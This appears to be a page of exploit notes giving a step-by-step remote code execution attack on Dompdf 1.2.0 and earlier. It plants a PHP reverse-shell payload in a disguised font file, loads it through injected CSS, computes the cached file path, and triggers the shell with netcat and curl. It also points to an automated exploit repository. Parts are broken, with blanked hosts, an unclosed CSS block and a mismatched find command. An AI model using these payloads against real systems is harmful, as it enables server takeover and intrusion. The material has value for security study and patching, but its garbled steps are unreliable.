Exploit Notes

Dompdf RCE

Last modified: 2023-03-16


Dompdf is an HTML to PDF converter for PHP. Its version ≤ 1.2.0 is vulnerable to remote code execution.


1. Create Malicious Font

First off, we need to prepare the malicious .ttf file.
Here, we find the .ttf file in our local system and copy it to the current directory and change the extention ttf to php because we want to execute PHP script.

find / -name "*.pdf" 2>/dev/null
cp /path/to/example.ttf ./evil.php

Then add the PHP payload at the end of the file.

<?php system("bash -c 'bash -i >& /dev/tcp/ 0>&1'"); ?>

2. Create Malicious CSS

Next we create a malicious CSS that load the above “evil.php”.

@font-face {
  font-family: 'evil';
  src: url('');
  font-weight: 'normal';
  font-style: 'normal';

3. Host PHP & CSS

Now we have the two files in current working directory.


evil.css evil.php

Start web server to host them.

python3 -m http.server 8000

4. Send Request

In target website, send request to upload the HTML as below.

https://example.com/?pdf&title=<link rel=stylesheet href=''>

Our “evil.php” is uploaded to /dompdf/lib/fonts/<font_name>_<font_weight/style>_<md5>.php.
For example, /dompdf/lib/fonts/evil_normal_2cddaeb743b6aeb5638ac0ac93c4c9f6.php.

To get the md5 hash, we can calculate it by the following command.

echo -n | md5sum


Also we can use Python hashlib module.


>>> import hashlib
>>> hashlib.md5("".encode("UTF-8")).hexdigest()
>>> 2cddaeb743b6aeb5638ac0ac93c4c9f6

5. Execute Malicious PHP via Cached File

Finally we get the cached file path as above so we can get the cached PHP file that executes malicious code.
For reverse shell, we need to start a listener in local.

nc -lvnp 4444

Now access to the cached PHP file.

curl https://example.com/dompdf/lib/fonts/evil_normal_2cddaeb743b6aeb5638ac0ac93c4c9f6.php

We get a shell in local terminal.

Exploitation (Automatically)

Also we can exploit with the repository.

git clone https://github.com/positive-security/dompdf-rce.git
cd exploit

Modify CSS and PHP depending on your situation. Please see the previous “Exploitation” section for the details of each file.

php -S

Then send request.

https://example.com/?pdf&title=<link rel=stylesheet href=''>

Tools by HDKS


Automatic web fuzzer.


Auto reconnaissance CLI.

Hash Cracker

Hash identifier.